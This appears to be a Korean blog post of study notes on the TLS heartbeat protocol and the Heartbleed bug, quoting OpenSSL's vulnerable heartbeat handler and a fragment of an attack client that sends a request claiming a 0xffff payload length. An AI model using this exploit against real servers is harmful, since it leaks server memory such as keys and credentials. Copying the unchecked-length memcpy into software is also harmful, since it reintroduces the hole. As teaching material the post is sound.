코딩공작소
SSL heartbeat Protocol 본문
General format of TLS record
byte 0: content type (RT: Record Type)
0x14 : ChangeCipherSpec
0x15 : Alert
0x16 : Handshake
0x17 : Application Data
0x18 : Heartbeat
byte 1, 2 : Version (byte 1:Major, byte 2: Minor)
SSLv3: 3, 0
TLS 1.0 : 3, 1
TLS 1.1 : 3, 2
TLS 1.2 : 3, 3
byte 3, 4 : Length (byte 3: bits 15..8, byte 4: bits 7..0) -- the length of the protocol message
byte 5..(m-1) : protocol message
Sending HEARTBEAT
All ssl packets are written with ssl/s3_pkt.c/ssl3_write_bytes()
ssl3_write_bytes(s, TLS1_RT_HEARTBEAT, buf, len) // 0x18
buf contains hearbeat message
message type (1 byte) : TLS1_HB_REQUEST(1), TLS1_HB_RESPONSE(2)
payload length (2 byte)
payload (n bytes)
padding (at least 16 bytes)
Example heartbeat packet
00 0c 29 ......... ether header, IP header, TCP header
18 03 01 00 20 content type=0x18 (Heartbeat), version=0301(TLS 1.0), length=0x0020
d9 d2 1b ......... heartbeat message (encrypted). 01 ff ff (unencrypted)
When receiving HEARTBEAT packet, the server should echo with the same payload.
ssl3_read_bytes
SSL packets are read by ssl/s3_pkt.c/ssl3_read_bytes()
ssl3_read_bytes() responds to HB_REQUEST by echoing with the same payload. It calls ssl/t1_lib.c/tls1_process_heartbeat() for HEARBET packets.
int tls1_process_heartbeat(SSL *s){
unsigned char *p = &s->s3->rrec.data[0], *pl;
unsinged short hbtype; // message type(0 or 1)
unsigned int payload; // payload length
hbtype = *p++; // read message type
n2s(p, payload); // read payload length. n2s is network to system for 2 bytes
pl = p; // pl points to the beginning of payload
if (hbtype == TLS1_HB_REQUEST){ // respond to heartbeat request
unsigned char *buffer, *bp;
buffer = OPENSSL_malloc(1+2+payload+padding);
bp=buffer;
*bp++=TLS1_HB_RESPONSE; // write message type
s2n(payload, bp); // write payload length. s2n is system to network
memcpy(bp, pl, payload); // echo the same payload
.....
ssl3_write_bytes(s, TLS1_RT_HEARTBEAT, buffer, ...); // and send it back
}
}
3. Heartbleed attack
By setting payload length to 0xffff, we can read 0xffff bytes of memory in the SSL server.
hb.c
.............
void *heartbleed(connection *c, unsigned int type){
// type is 1. send heartbeat
unsigned char *buf, *p;
buf=OPENSSL_malloc(1+2); // for message type and length
p=buf;
*p++=TLS1_HB_REQUEST; // heartbeat request
// now fill in length field
switch (type){
case 0:
s2n(0x0, p);
break;
case 1:
s2n(0xffff, p); // this is our case. set length=0xffff
break;
default:
s2n(type, p); // the user can specify the length
break;
}
// now send
ret=ssl3_write_bytes(c->sslHandle, TLS1_RT_HEARTBEAT, buf, 3);
OPENSSL_free(buf);
return c;
}
4. Attack scenario
run hb (the attacker)
=> send HEARTBEAT packet with
message type= TLS1_HB_REQUEST
payload length=0xffff
=> SSL server receives this packet, stores in s->s3->rrec->data[], and calls
tls1_process_heartbeat(SSL *s)
s->s3->rrec->data:
data[0]: TLS1_HB_REQUEST
data[1],data[2]: 0xffff
=> tsl1_process_heartbeat tries to echo the payload data in rrec->data by the amount indicated in data[1] and data[2]. It assumes the payload data starts at rrec->data[3].
.................
memcpy(bp, pl, payload); // bp points to a response packet buffer
// pl points to rrec->data[3]. payload=0xffff
// copy 0xffff bytes from rrec->data[3] into buffer
ssl3_write_bytes(s, TLS1_RT_HEARTBEAT, buffer, ...); // and send to the attacker
=> the attacker receives 0xffff bytes of the server memory starting at rrec->data[3]